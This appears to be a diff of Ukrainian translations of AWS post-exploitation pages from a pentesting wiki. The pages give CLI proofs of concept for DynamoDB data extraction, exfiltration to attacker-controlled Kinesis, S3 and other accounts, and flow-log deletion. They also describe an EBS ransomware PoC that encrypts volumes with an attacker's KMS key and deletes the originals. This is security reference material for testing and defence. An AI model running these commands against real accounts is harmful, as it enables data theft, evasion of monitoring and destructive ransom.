-Зловмисник із правами transactional write може вивести повні атрибути наявного елемента, виконавши `Update` всередині `TransactWriteItems`, який навмисно провалює `ConditionExpression`, одночасно встановивши `ReturnValuesOnConditionCheckFailure=ALL_OLD`. У разі відмови DynamoDB включає попередні атрибути в причини скасування транзакції, фактично перетворюючи доступ тільки для запису на доступ для читання по цільових ключах.
+Зловмисник із привілеями транзакційного запису може вивести повні атрибути існуючого елемента, виконавши `Update` всередині `TransactWriteItems`, який навмисно призводить до невдачі `ConditionExpression`, одночасно встановивши `ReturnValuesOnConditionCheckFailure=ALL_OLD`. При невдачі DynamoDB включає попередні атрибути в причини скасування транзакції, фактично перетворюючи доступ лише для запису на доступ для читання цільових ключів.
 
 {{#tabs }}
 {{#tab name="PoC (AWS CLI >= supports cancellation reasons)" }}
@@ -411,19 +411,19 @@ print(e.response['CancellationReasons'][0]['Item'])
 
 Permissions: `dynamodb:TransactWriteItems` on the target table (and the underlying item). No read permissions are required.
 
-Potential Impact: Читання довільних елементів (за primary key) з таблиці, використовуючи лише транзакційні привілеї запису через повернуті причини скасування.
+Potential Impact: Read arbitrary items (by primary key) from a table using only transactional write privileges via the returned cancellation reasons.
 
 
 ### `dynamodb:UpdateTable` + `dynamodb:UpdateItem` + `dynamodb:Query` on GSI
 
-Обійдіть обмеження на читання, створивши Global Secondary Index (GSI) з `ProjectionType=ALL` на атрибуті з низькою ентропією, встановіть цей атрибут у постійне значення для всіх елементів, а потім виконайте `Query` по індексу, щоб отримати повні елементи. Це працює навіть якщо `Query`/`Scan` на базовій таблиці заборонено, за умови що ви можете виконати запит до ARN індексу.
+Обійдіть обмеження на читання, створивши Global Secondary Index (GSI) з `ProjectionType=ALL` на атрибуті з низькою ентропією, встановіть цей атрибут у константне значення для всіх items, а потім `Query` індекс, щоб отримати повні items. Це працює навіть якщо `Query`/`Scan` на базовій таблиці заборонено, за умови, що ви можете виконати запит до ARN індексу.
 
-- Мінімальні права:
-- `dynamodb:UpdateTable` на цільовій таблиці (щоб створити GSI з `ProjectionType=ALL`).
-- `dynamodb:UpdateItem` на ключах цільової таблиці (щоб встановити індексований атрибут для кожного елемента).
-- `dynamodb:Query` для ARN ресурсу індексу (`arn:aws:dynamodb:<region>:<account-id>:table/<TableName>/index/<IndexName>`).
+- Minimum permissions:
+- `dynamodb:UpdateTable` on the target table (to create the GSI with `ProjectionType=ALL`).
+- `dynamodb:UpdateItem` on the target table keys (to set the indexed attribute on each item).
+- `dynamodb:Query` on the index resource ARN (`arn:aws:dynamodb:<region>:<account-id>:table/<TableName>/index/<IndexName>`).
 
-Кроки (PoC у us-east-1):
+Steps (PoC in us-east-1):
 ```bash
 # 1) Create table and seed items (without the future GSI attribute)
 aws dynamodb create-table --table-name HTXIdx \
@@ -461,17 +461,17 @@ aws dynamodb query --table-name HTXIdx --index-name ExfilIndex \
 --expression-attribute-values '{":v":{"S":"dump"}}' \
 --region us-east-1
 ```
-**Potential Impact:** Full table exfiltration шляхом запиту новоствореного GSI, який проєктує всі атрибути, навіть коли base table read APIs заборонено.
+**Можливий вплив:** Повне виведення таблиці шляхом запиту новоствореного GSI, який проєктує всі атрибути, навіть коли базові API для читання таблиці заборонені.
 
 
-### `dynamodb:EnableKinesisStreamingDestination` (Continuous exfiltration via Kinesis Data Streams)
+### `dynamodb:EnableKinesisStreamingDestination` (Безперервне виведення даних через Kinesis Data Streams)
 
-Зловживання DynamoDB Kinesis streaming destinations для постійної exfiltration змін із таблиці в attacker-controlled Kinesis Data Stream. Після увімкнення кожна подія INSERT/MODIFY/REMOVE пересилається майже в реальному часі до потоку без потреби у правах читання на таблицю.
+Зловживання DynamoDB Kinesis streaming destinations для безперервного виведення змін з таблиці в Kinesis Data Stream, контрольований атакуючим. Після увімкнення кожна подія INSERT/MODIFY/REMOVE пересилається майже в реальному часі до стріму без потреби в дозволах на читання таблиці.
 
-Мінімальні дозволи (attacker):
+Мінімальні дозволи (атакуючий):
 - `dynamodb:EnableKinesisStreamingDestination` на цільовій таблиці
-- Опційно `dynamodb:DescribeKinesisStreamingDestination`/`dynamodb:DescribeTable` щоб відстежувати статус
-- Права читання на attacker-owned Kinesis stream для споживання записів: `kinesis:ListShards`, `kinesis:GetShardIterator`, `kinesis:GetRecords`
+- За бажанням `dynamodb:DescribeKinesisStreamingDestination`/`dynamodb:DescribeTable` для моніторингу статусу
+- Дозволи на читання на Kinesis стрімі, яким володіє атакуючий, для отримання записів: `kinesis:*`
 
 <details>
 <summary>PoC (us-east-1)</summary>
@@ -530,8 +530,6 @@ aws dynamodb delete-table --table-name HTXKStream --region us-east-1 || true
 ```
 </details>
 
-**Потенційний вплив:** Безперервне, майже в режимі реального часу exfiltration змін таблиці до Kinesis stream, контрольованого атакуючим, без прямих операцій читання таблиці.
+**Потенційний вплив:** Постійна, майже в режимі реального часу exfiltration змін таблиці у потік Kinesis під контролем атакувальника без прямих операцій читання таблиці.
 
-
-
-{{#include ../../../banners/hacktricks-training.md}}
+{{#include ../../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md

@@ -4,26 +4,26 @@
 
 ## EC2 & VPC
 
-Для отримання додаткової інформації перегляньте:
+Для додаткової інформації див.:
 
 {{#ref}}
 ../../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/
 {{#endref}}
 
-### **Зловмисне дзеркало VPC -** `ec2:DescribeInstances`, `ec2:RunInstances`, `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress`, `ec2:CreateTrafficMirrorTarget`, `ec2:CreateTrafficMirrorSession`, `ec2:CreateTrafficMirrorFilter`, `ec2:CreateTrafficMirrorFilterRule`
+### **Malicious VPC Mirror -** `ec2:DescribeInstances`, `ec2:RunInstances`, `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress`, `ec2:CreateTrafficMirrorTarget`, `ec2:CreateTrafficMirrorSession`, `ec2:CreateTrafficMirrorFilter`, `ec2:CreateTrafficMirrorFilterRule`
 
-Дзеркалювання трафіку VPC **дублює вхідний та вихідний трафік для EC2 інстансів у VPC** без необхідності встановлювати щось на самих інстансах. Цей дубльований трафік зазвичай надсилається на щось на кшталт системи виявлення мережевих вторгнень (IDS) для аналізу та моніторингу.\
-Зловмисник може зловживати цим, щоб захопити весь трафік і отримати чутливу інформацію з нього:
+VPC traffic mirroring **duplicates inbound and outbound traffic for EC2 instances within a VPC** без потреби встановлювати щось на самих інстансах. Цей дубльований трафік зазвичай надсилається, наприклад, в систему виявлення мережевих вторгнень (IDS) для аналізу та моніторингу.\
+Атакувальник може зловживати цим, щоб перехопити весь трафік і отримати з нього конфіденційну інформацію:
 
-Для отримання додаткової інформації перегляньте цю сторінку:
+Для додаткової інформації див. цю сторінку:
 
 {{#ref}}
 aws-malicious-vpc-mirror.md
 {{#endref}}
 
-### Копіювати працюючий інстанс
+### Copy Running Instance
 
-Інстанси зазвичай містять якийсь чутливий інформацію. Є різні способи потрапити всередину (перегляньте [трюки підвищення привілеїв EC2](../../aws-privilege-escalation/aws-ec2-privesc.md)). Однак інший спосіб перевірити, що він містить, - це **створити AMI та запустити новий інстанс (навіть у вашому власному обліковому записі) з нього**:
+Інстанси зазвичай містять певну чутливу інформацію. Існують різні способи потрапити всередину (див. [EC2 privilege escalation tricks](../../aws-privilege-escalation/aws-ec2-privesc/README.md)). Однак інший спосіб перевірити, що в ньому міститься — **створити AMI і запустити з нього новий інстанс (навіть у власному акаунті)**:
 ```shell
 # List instances
 aws ec2 describe-images
@@ -49,43 +49,107 @@ aws ec2 terminate-instances --instance-id "i-0546910a0c18725a1" --region eu-west
 ```
 ### EBS Snapshot dump
 
-**Снімки є резервними копіями томів**, які зазвичай міститимуть **чутливу інформацію**, тому їх перевірка повинна розкрити цю інформацію.\
-Якщо ви знайдете **том без снімка**, ви можете: **Створити снімок** і виконати наступні дії або просто **підключити його до екземпляра** в обліковому записі:
+**Snapshots are backups of volumes**, які зазвичай містять **чутливу інформацію**, тому перевірка їх повинна виявити ці дані.\
+Якщо ви знайдете **volume without a snapshot**, ви можете: **Create a snapshot** та виконати наступні дії або просто **mount it in an instance** в межах облікового запису:
 
 {{#ref}}
 aws-ebs-snapshot-dump.md
 {{#endref}}
 
+### Covert Disk Exfiltration via AMI Store-to-S3
+
+Експортуйте EC2 AMI безпосередньо в S3 за допомогою `CreateStoreImageTask`, щоб отримати raw disk image без шарингу snapshot. Це дозволяє провести повну офлайн-форензіку або крадіжку даних, залишивши мережеві налаштування instance недоторканими.
+
+{{#ref}}
+aws-ami-store-s3-exfiltration.md
+{{#endref}}
+
+### Live Data Theft via EBS Multi-Attach
+
+Attachіть io1/io2 Multi-Attach volume до другого instance і змонтуйте його в режимі read-only, щоб викачати live дані без використання snapshots. Корисно, коли victim volume вже має Multi-Attach, увімкнений в тій самій AZ.
+
+{{#ref}}
+aws-ebs-multi-attach-data-theft.md
+{{#endref}}
+
+### EC2 Instance Connect Endpoint Backdoor
+
+Створіть EC2 Instance Connect Endpoint, авторизуйте ingress та інжектуйте ephemeral SSH keys для доступу до приватних instances через керований тунель. Надає швидкі шляхи латерального переміщення без відкриття public портів.
+
+{{#ref}}
+aws-ec2-instance-connect-endpoint-backdoor.md
+{{#endref}}
+
+### EC2 ENI Secondary Private IP Hijack
+
+Перенесіть secondary private IP victim ENI на attacker-controlled ENI, щоб видаватися trusted hosts, allowlisted за IP. Дозволяє обходити внутрішні ACLs або SG правила, прив'язані до конкретних адрес.
+
+{{#ref}}
+aws-eni-secondary-ip-hijack.md
+{{#endref}}
+
+### Elastic IP Hijack for Ingress/Egress Impersonation
+
+Reassociateйте Elastic IP з victim instance на attacker, щоб перехоплювати inbound трафік або ініціювати outbound з'єднання, які виглядають як такі, що походять від trusted public IPs.
+
+{{#ref}}
+aws-eip-hijack-impersonation.md
+{{#endref}}
+
+### Security Group Backdoor via Managed Prefix Lists
+
+Якщо правило security group посилається на customer-managed prefix list, додавання attacker CIDRs до списку тихо розширює доступ по всіх залежних SG правилах без зміни самого SG.
+
+{{#ref}}
+aws-managed-prefix-list-backdoor.md
+{{#endref}}
+
+### VPC Endpoint Egress Bypass
+
+Створіть gateway або interface VPC endpoints, щоб відновити outbound доступ з ізольованих підмереж. Використання AWS-managed private links обходить відсутні IGW/NAT контролі для ексфільтрації даних.
+
+{{#ref}}
+aws-vpc-endpoint-egress-bypass.md
+{{#endref}}
+
+### VPC Flow Logs Cross-Account Exfiltration
+
+Налаштуйте VPC Flow Logs на attacker-controlled S3 bucket, щоб постійно збирати мережеві метадані (source/destination, ports) поза межами victim account для довгострокової розвідки.
+
+{{#ref}}
+aws-vpc-flow-logs-cross-account-exfiltration.md
+{{#endref}}
+
 ### Data Exfiltration
 
 #### DNS Exfiltration
 
-Навіть якщо ви заблокуєте EC2, щоб жоден трафік не міг вийти, він все ще може **експортувати через DNS**.
+Навіть якщо ви закриєте EC2 так, що трафік не виходить, він все одно може **exfil via DNS**.
 
-- **VPC Flow Logs не зафіксують це**.
-- У вас немає доступу до журналів DNS AWS.
-- Вимкніть це, встановивши "enableDnsSupport" на false за допомогою:
+- **VPC Flow Logs will not record this**.
+- Ви не маєте доступу до AWS DNS logs.
+- Вимкніть це, встановивши "enableDnsSupport" в false за допомогою:
 
 `aws ec2 modify-vpc-attribute --no-enable-dns-support --vpc-id <vpc-id>`
 
 #### Exfiltration via API calls
 
-Зловмисник може викликати API кінцеві точки облікового запису, яким він керує. Cloudtrail зафіксує ці виклики, і зловмисник зможе побачити експортовані дані в журналах Cloudtrail.
+Атакувальник може викликати API endpoints облікового запису, який він контролює. Cloudtrail зафіксує ці виклики, і attacker зможе побачити ексфільтровані дані в Cloudtrail logs.
 
 ### Open Security Group
 
-Ви можете отримати подальший доступ до мережевих служб, відкривши порти таким чином:
+Ви можете отримати додатковий доступ до мережевих сервісів, відкривши порти таким чином:
 ```bash
 aws ec2 authorize-security-group-ingress --group-id <sg-id> --protocol tcp --port 80 --cidr 0.0.0.0/0
 # Or you could just open it to more specific ips or maybe th einternal network if you have already compromised an EC2 in the VPC
 ```
 ### Privesc to ECS
 
-Можливо запустити EC2 екземпляр і зареєструвати його для використання для запуску ECS екземплярів, а потім вкрасти дані ECS екземплярів.
+Можна запустити EC2 instance і зареєструвати його для запуску ECS instances, а потім викрасти їхні дані.
 
-Для [**додаткової інформації перегляньте це**](../../aws-privilege-escalation/aws-ec2-privesc.md#privesc-to-ecs).
+Для [**more information check this**](../../aws-privilege-escalation/aws-ec2-privesc/README.md#privesc-to-ecs).
 
-### Remove VPC flow logs
+### Видалити VPC flow logs
 ```bash
 aws ec2 delete-flow-logs --flow-log-ids <flow_log_ids> --region <region>
 ```
@@ -95,57 +159,58 @@ aws ec2 delete-flow-logs --flow-log-ids <flow_log_ids> --region <region>
 
 - `ssm:StartSession`
 
-На додаток до виконання команд, SSM дозволяє тунелювання трафіку, яке можна зловживати для переходу з EC2 інстансів, які не мають мережевого доступу через Security Groups або NACLs. Один зі сценаріїв, де це корисно, - це перехід з [Bastion Host](https://www.geeksforgeeks.org/what-is-aws-bastion-host/) до приватного EKS кластера.
+Окрім виконання команд, SSM дозволяє тунелювання трафіку, що може бути зловживано для pivot з EC2 інстансів, які не мають мережевого доступу через Security Groups або NACLs.
+Один зі сценаріїв, де це корисно — pivoting з [Bastion Host](https://www.geeksforgeeks.org/what-is-aws-bastion-host/) до приватного EKS кластеру.
 
-> Щоб розпочати сесію, вам потрібно встановити SessionManagerPlugin: https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html
+> Щоб розпочати сесію, потрібно встановити SessionManagerPlugin: https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html
 
 1. Встановіть SessionManagerPlugin на вашому комп'ютері
-2. Увійдіть до Bastion EC2, використовуючи наступну команду:
+2. Увійдіть на Bastion EC2 за допомогою наступної команди:
 ```shell
 aws ssm start-session --target "$INSTANCE_ID"
 ```
-3. Отримайте тимчасові облікові дані Bastion EC2 AWS за допомогою скрипта [Abusing SSRF in AWS EC2 environment](https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html#abusing-ssrf-in-aws-ec2-environment)  
-4. Перенесіть облікові дані на свій комп'ютер у файл `$HOME/.aws/credentials` як профіль `[bastion-ec2]`  
+3. Отримайте тимчасові облікові дані AWS для Bastion EC2 за допомогою скрипта [Abusing SSRF in AWS EC2 environment](https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html#abusing-ssrf-in-aws-ec2-environment)
+4. Перенесіть облікові дані на вашу машину у файл `$HOME/.aws/credentials` як профіль `[bastion-ec2]`
 5. Увійдіть в EKS як Bastion EC2:
 ```shell
 aws eks update-kubeconfig --profile bastion-ec2 --region <EKS-CLUSTER-REGION> --name <EKS-CLUSTER-NAME>
 ```
-6. Оновіть поле `server` у файлі `$HOME/.kube/config`, щоб вказати на `https://localhost`
-7. Створіть тунель SSM наступним чином:
+6. Оновіть поле `server` у файлі `$HOME/.kube/config`, щоб вказувати на `https://localhost`  
+7. Створіть тунель SSM таким чином:
 ```shell
 sudo aws ssm start-session --target $INSTANCE_ID --document-name AWS-StartPortForwardingSessionToRemoteHost --parameters '{"host":["<TARGET-IP-OR-DOMAIN>"],"portNumber":["443"], "localPortNumber":["443"]}' --region <BASTION-INSTANCE-REGION>
 ```
-8. Трафік з інструменту `kubectl` тепер перенаправляється через тунель SSM через Bastion EC2, і ви можете отримати доступ до приватного EKS кластера з вашого власного комп'ютера, запустивши:
+8. Трафік з інструмента `kubectl` тепер перенаправляється через тунель SSM через Bastion EC2, і ви можете отримати доступ до приватного кластера EKS з вашої машини, запустивши:
 ```shell
 kubectl get pods --insecure-skip-tls-verify
 ```
-Зверніть увагу, що SSL-з'єднання не вдасться встановити, якщо ви не встановите прапорець `--insecure-skip-tls-verify` (або його еквівалент у K8s інструментах аудиту). Оскільки трафік тунелюється через безпечний AWS SSM тунель, ви захищені від будь-яких атак типу MitM.
+Зауважте, що SSL-з’єднання не вдасться встановити, якщо ви не вкажете прапорець `--insecure-skip-tls-verify ` (або його еквівалент у K8s audit tools). Оскільки трафік тунелюється через захищений AWS SSM tunnel, ви захищені від будь-яких MitM-атак.
 
-Нарешті, ця техніка не є специфічною для атак на приватні EKS кластери. Ви можете встановити довільні домени та порти для переходу до будь-якої іншої служби AWS або користувацького додатку.
+Нарешті, ця техніка не обмежується атаками на приватні EKS кластери. Ви можете вказувати довільні домени та порти, щоб pivot до будь-якої іншої AWS-служби або власного застосунку.
 
 ---
 
-#### Швидке локальне ↔️ віддалене перенаправлення порту (AWS-StartPortForwardingSession)
+#### Швидке локальне ↔️ віддалене переадресування портів (AWS-StartPortForwardingSession)
 
-Якщо вам потрібно лише перенаправити **один TCP порт з EC2 екземпляра на ваш локальний хост**, ви можете використовувати документ SSM `AWS-StartPortForwardingSession` (параметр віддаленого хоста не потрібен):
+Якщо вам потрібно перенаправити **лише один TCP порт з EC2 instance на ваш локальний хост**, ви можете використати документ SSM `AWS-StartPortForwardingSession` (параметр remote host не потрібен):
 ```bash
 aws ssm start-session --target i-0123456789abcdef0 \
 --document-name AWS-StartPortForwardingSession \
 --parameters "portNumber"="8000","localPortNumber"="8000" \
 --region <REGION>
 ```
-Команда встановлює двосторонній тунель між вашою робочою станцією (`localPortNumber`) та вибраним портом (`portNumber`) на екземплярі **без відкриття будь-яких вхідних правил безпеки Security-Group**.
+The command establishes a bidirectional tunnel between your workstation (`localPortNumber`) and the selected port (`portNumber`) on the instance **без відкриття будь-яких вхідних правил Security-Group**.
 
-Звичайні випадки використання:
+Common use cases:
 
-* **Екстракція файлів**
-1. На екземплярі запустіть швидкий HTTP сервер, який вказує на каталог, який ви хочете екстрактувати:
+* **File exfiltration**
+1. На instance запустіть простий HTTP-сервер, що вказує на директорію, яку ви хочете exfiltrate:
 
 ```bash
 python3 -m http.server 8000
 ```
 
-2. З вашої робочої станції отримайте файли через SSM тунель:
+2. З вашої робочої станції завантажте файли через SSM tunnel:
 
 ```bash
 curl http://localhost:8000/loot.txt -o loot.txt
@@ -159,28 +224,28 @@ aws ssm start-session --target i-0123456789abcdef0 \
 --parameters "portNumber"="8834","localPortNumber"="8835"
 # Browse to http://localhost:8835
 ```
-Порада: Стисніть і зашифруйте докази перед їх ексфільтрацією, щоб CloudTrail не реєстрував вміст у відкритому тексті:
+Порада: Стисніть і зашифруйте докази перед exfiltrating it, щоб CloudTrail не реєстрував clear-text content:
 ```bash
 # On the instance
 7z a evidence.7z /path/to/files/* -p'Str0ngPass!'
 ```
-### Поділитися AMI
+### Надати доступ до AMI
 ```bash
 aws ec2 modify-image-attribute --image-id <image_ID> --launch-permission "Add=[{UserId=<recipient_account_ID>}]" --region <AWS_region>
 ```
-### Пошук чутливої інформації в публічних та приватних AMI
+### Пошук конфіденційної інформації в публічних та приватних AMIs
 
-- [https://github.com/saw-your-packet/CloudShovel](https://github.com/saw-your-packet/CloudShovel): CloudShovel - це інструмент, призначений для **пошуку чутливої інформації в публічних або приватних образах машин Amazon (AMIs)**. Він автоматизує процес запуску екземплярів з цільових AMI, монтування їхніх томів та сканування на наявність потенційних секретів або чутливих даних.
+- [https://github.com/saw-your-packet/CloudShovel](https://github.com/saw-your-packet/CloudShovel): CloudShovel — інструмент, призначений для **пошуку конфіденційної інформації в публічних або приватних Amazon Machine Images (AMIs)**. Він автоматизує процес запуску інстансів із цільових AMIs, монтування їхніх томів і сканування на предмет потенційних секретів або чутливих даних.
 
-### Поділитися знімком EBS
+### Поділ EBS Snapshot
 ```bash
 aws ec2 modify-snapshot-attribute --snapshot-id <snapshot_ID> --create-volume-permission "Add=[{UserId=<recipient_account_ID>}]" --region <AWS_region>
 ```
 ### EBS Ransomware PoC
 
-Доказ концепції, подібний до демонстрації Ransomware, показаної в нотатках про пост-експлуатацію S3. KMS слід перейменувати на RMS для Ransomware Management Service, враховуючи, як легко його використовувати для шифрування різних сервісів AWS.
+Доказ концепції, подібний до демонстрації Ransomware, показаної в S3 post-exploitation notes. KMS слід перейменувати на RMS (Ransomware Management Service) через те, наскільки легко ним користуватися для шифрування різних сервісів AWS.
 
-Спочатку з облікового запису 'атакуючого' AWS створіть ключ, керований користувачем, у KMS. Для цього прикладу ми просто дозволимо AWS керувати даними ключа, але в реалістичному сценарії зловмисник зберігатиме дані ключа поза контролем AWS. Змініть політику ключа, щоб дозволити будь-якому обліковому запису AWS Principal використовувати ключ. Для цієї політики ключа ім'я облікового запису було 'AttackSim', а правило політики, що дозволяє весь доступ, називається 'Outside Encryption'
+Спочатку, з 'attacker' AWS-акаунта, створіть customer managed key у KMS. У цьому прикладі ми просто дозволимо AWS керувати даними ключа для нас, але в реалістичному сценарії malicious actor зберігав би дані ключа поза контролем AWS. Змініть key policy, щоб дозволити будь-якому AWS account Principal використовувати цей ключ. У цій key policy ім'я облікового запису було 'AttackSim', а правило політики, що дозволяє повний доступ, називається 'Outside Encryption'
 ```
 {
 "Version": "2012-10-17",
@@ -272,7 +337,7 @@ aws ec2 modify-snapshot-attribute --snapshot-id <snapshot_ID> --create-volume-pe
 ]
 }
 ```
-Правило політики ключа потребує активації наступних дозволів, щоб мати можливість використовувати його для шифрування обсягу EBS:
+Правило політики ключа має містити наступні дозволи, щоб дозволити його використання для шифрування EBS volume:
 
 - `kms:CreateGrant`
 - `kms:Decrypt`
@@ -280,21 +345,21 @@ aws ec2 modify-snapshot-attribute --snapshot-id <snapshot_ID> --create-volume-pe
 - `kms:GenerateDataKeyWithoutPlainText`
 - `kms:ReEncrypt`
 
-Тепер, маючи публічно доступний ключ для використання. Ми можемо використовувати обліковий запис 'жертви', в якому запущені деякі EC2 екземпляри з прикріпленими незашифрованими обсягами EBS. Обсяги EBS цього 'жертви' є нашою ціллю для шифрування, ця атака здійснюється за припущенням про злом облікового запису AWS з високими привілеями.
+Тепер, маючи публічно доступний ключ для використання. Ми можемо використати 'victim' акаунт, у якому запущено декілька EC2 instances з підключеними незашифрованими EBS volumes. Саме EBS volumes цього 'victim' акаунта є нашою ціллю для шифрування; ця атака здійснюється за умови компрометації AWS акаунта з високими привілеями.
 
 ![Pasted image 20231231172655](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/5b9a96cd-6006-4965-84a4-b090456f90c6) ![Pasted image 20231231172734](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/4294289c-0dbd-4eb6-a484-60b4e4266459)
 
-Подібно до прикладу з програмою-вимагачем S3. Ця атака створить копії прикріплених обсягів EBS за допомогою знімків, використає публічно доступний ключ з облікового запису 'зловмисника' для шифрування нових обсягів EBS, потім від'єднає оригінальні обсяги EBS від EC2 екземплярів і видалить їх, а потім нарешті видалить знімки, використані для створення нових зашифрованих обсягів EBS. ![Pasted image 20231231173130](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/34808990-2b3b-4975-a523-8ee45874279e)
+Подібно до прикладу з S3 ransomware. Ця атака створить копії підключених EBS volumes за допомогою snapshots, використає публічно доступний ключ з 'attacker' акаунта для шифрування нових EBS volumes, потім від'єднає оригінальні EBS volumes від EC2 instances і видалить їх, а наостанок видалить snapshots, використані для створення нових зашифрованих EBS volumes. ![Pasted image 20231231173130](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/34808990-2b3b-4975-a523-8ee45874279e)
 
-В результаті в обліковому записі залишаться лише зашифровані обсяги EBS.
+В результаті в обліковому записі залишаться лише зашифровані EBS volumes.
 
 ![Pasted image 20231231173338](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/eccdda58-f4b1-44ea-9719-43afef9a8220)
 
-Також варто зазначити, що скрипт зупинив EC2 екземпляри, щоб від'єднати та видалити оригінальні обсяги EBS. Оригінальні незашифровані обсяги тепер зникли.
+Також варто зазначити, що скрипт зупинив EC2 instances, щоб від'єднати й видалити оригінальні EBS volumes. Оригінальні незашифровані EBS volumes тепер відсутні.
 
 ![Pasted image 20231231173931](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/cc31a5c9-fbb4-4804-ac87-911191bb230e)
 
-Далі, поверніться до політики ключа в обліковому записі 'зловмисника' і видаліть правило політики 'Зовнішнє шифрування' з політики ключа.
+Далі поверніться до політики ключа в 'attacker' акаунті та видаліть правило політики 'Outside Encryption'.
 ```json
 {
 "Version": "2012-10-17",
@@ -365,15 +430,15 @@ aws ec2 modify-snapshot-attribute --snapshot-id <snapshot_ID> --create-volume-pe
 ]
 }
 ```
-Зачекайте момент, поки нова політика ключа не пошириться. Потім поверніться до облікового запису 'жертви' і спробуйте приєднати один з нових зашифрованих EBS-томів. Ви виявите, що можете приєднати том.
+Зачекайте трохи, щоб нова політика ключа поширилася. Потім поверніться до облікового запису 'victim' і спробуйте прикріпити один із щойно зашифрованих EBS томів. Ви побачите, що том можна прикріпити.
 
 ![Pasted image 20231231174131](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/ba9e5340-7020-4af9-95cc-0e02267ced47) ![Pasted image 20231231174258](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/6c3215ec-4161-44e2-b1c1-e32f43ad0fa4)
 
-Але коли ви намагаєтеся фактично запустити EC2-екземпляр з зашифрованим EBS-томом, він просто не вдасться і знову перейде з стану 'очікування' в стан 'зупинено' назавжди, оскільки приєднаний EBS-том не може бути розшифрований за допомогою ключа, оскільки політика ключа більше не дозволяє цього.
+Але коли ви намагаєтесь дійсно запустити EC2 інстанс із зашифрованим EBS томом, він просто збоїть і змінить стан із 'pending' назад на 'stopped' назавжди, оскільки прикріплений EBS том неможливо розшифрувати за допомогою ключа, бо політика ключа більше цього не дозволяє.
 
 ![Pasted image 20231231174322](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/73456c22-0828-4da9-a737-e4d90fa3f514) ![Pasted image 20231231174352](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/4d83a90e-6fa9-4003-b904-a4ba7f5944d0)
 
-Це python-скрипт, який використовується. Він приймає AWS облікові дані для облікового запису 'жертви' та загальнодоступне значення AWS ARN для ключа, який буде використовуватися для шифрування. Скрипт створить зашифровані копії ВСІХ доступних EBS-томів, приєднаних до ВСІХ EC2-екземплярів у цільовому обліковому записі AWS, потім зупинить кожен EC2-екземпляр, від'єднає оригінальні EBS-томи, видалить їх і, нарешті, видалить всі знімки, використані під час процесу. Це залишить лише зашифровані EBS-томи в цільовому обліковому записі 'жертви'. ВИКОРИСТОВУЙТЕ ЦЕЙ СКРИПТ ТІЛЬКИ В ТЕСТОВОМУ СЕРЕДОВИЩІ, ВІН ДЕСТРУКТИВНИЙ І ВИДАЛИТЬ УСІ ОРИГІНАЛЬНІ EBS-ТОМИ. Ви можете відновити їх, використовуючи KMS-ключ, і відновити їх до їхнього початкового стану через знімки, але просто хочу, щоб ви знали, що в кінцевому підсумку це є PoC програм-вимагачів.
+Це python-скрипт, який було використано. Він приймає AWS облікові дані для облікового запису 'victim' та загальнодоступне значення AWS ARN для ключа, що буде використано для шифрування. Скрипт створить зашифровані копії УСІХ доступних EBS томів, прикріплених до УСІХ EC2 інстансів у цільовому AWS обліковому записі, потім зупинить кожен EC2 інстанс, від'єднає оригінальні EBS томи, видалить їх і, врешті-решт, видалить усі snapshots, використані під час процесу. У цільовому обліковому записі 'victim' залишаться лише зашифровані EBS томи. ВИКОРИСТОВУЙТЕ ЦЕЙ СКРИПТ ЛИШЕ В ТЕСТОВОМУ СЕРЕДОВИЩІ — ВІН ДЕСТРУКТИВНИЙ І ВИДАЛИТЬ УСІ ОРИГІНАЛЬНІ EBS ТОМИ. Ви можете відновити їх, використавши застосований KMS key і відновити до початкового стану через snapshots, проте хочу попередити, що в кінцевому підсумку це ransomware PoC.
 ```
 import boto3
 import argparse
@@ -492,6 +557,6 @@ main()
 ```
 ## Посилання
 
-- [Pentest Partners – Як передавати файли в AWS за допомогою SSM](https://www.pentestpartners.com/security-blog/how-to-transfer-files-in-aws-using-ssm/)
+- [Pentest Partners – How to transfer files in AWS using SSM](https://www.pentestpartners.com/security-blog/how-to-transfer-files-in-aws-using-ssm/)
 
 {{#include ../../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ami-store-s3-exfiltration.md

@@ -0,0 +1,137 @@
+# AWS – Covert Disk Exfiltration via AMI Store-to-S3 (CreateStoreImageTask)
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## Підсумок
+Зловживання EC2 AMI export-to-S3 для ексфільтрації повного диска інстансу EC2 як одного raw-образу, збереженого в S3, з подальшим завантаженням поза каналом. Це уникає обміну снапшотами та створює один об'єкт на AMI.
+
+## Вимоги
+- EC2: `ec2:CreateImage`, `ec2:CreateStoreImageTask`, `ec2:DescribeStoreImageTasks` для цільового інстансу/AMI
+- S3 (same Region): `s3:PutObject`, `s3:GetObject`, `s3:ListBucket`, `s3:AbortMultipartUpload`, `s3:PutObjectTagging`, `s3:GetBucketLocation`
+- KMS decrypt на ключі, який захищає AMI snapshots (якщо ввімкнено EBS default encryption)
+- Політика S3 bucket, що довіряє сервісному principal `vmie.amazonaws.com` (див. нижче)
+
+## Вплив
+- Повне офлайн-здобуття кореневого диска інстансу у S3 без обміну snapshot'ами або копіювання між акаунтами.
+- Дозволяє прихований forensic-аналіз облікових даних, конфігурації та вмісту файлової системи з експортованого raw-образу.
+
+## How to Exfiltrate via AMI Store-to-S3
+
+- Примітки:
+- S3 bucket має бути в тому ж Region, що й AMI.
+- В `us-east-1`, `create-bucket` НЕ повинен включати `--create-bucket-configuration`.
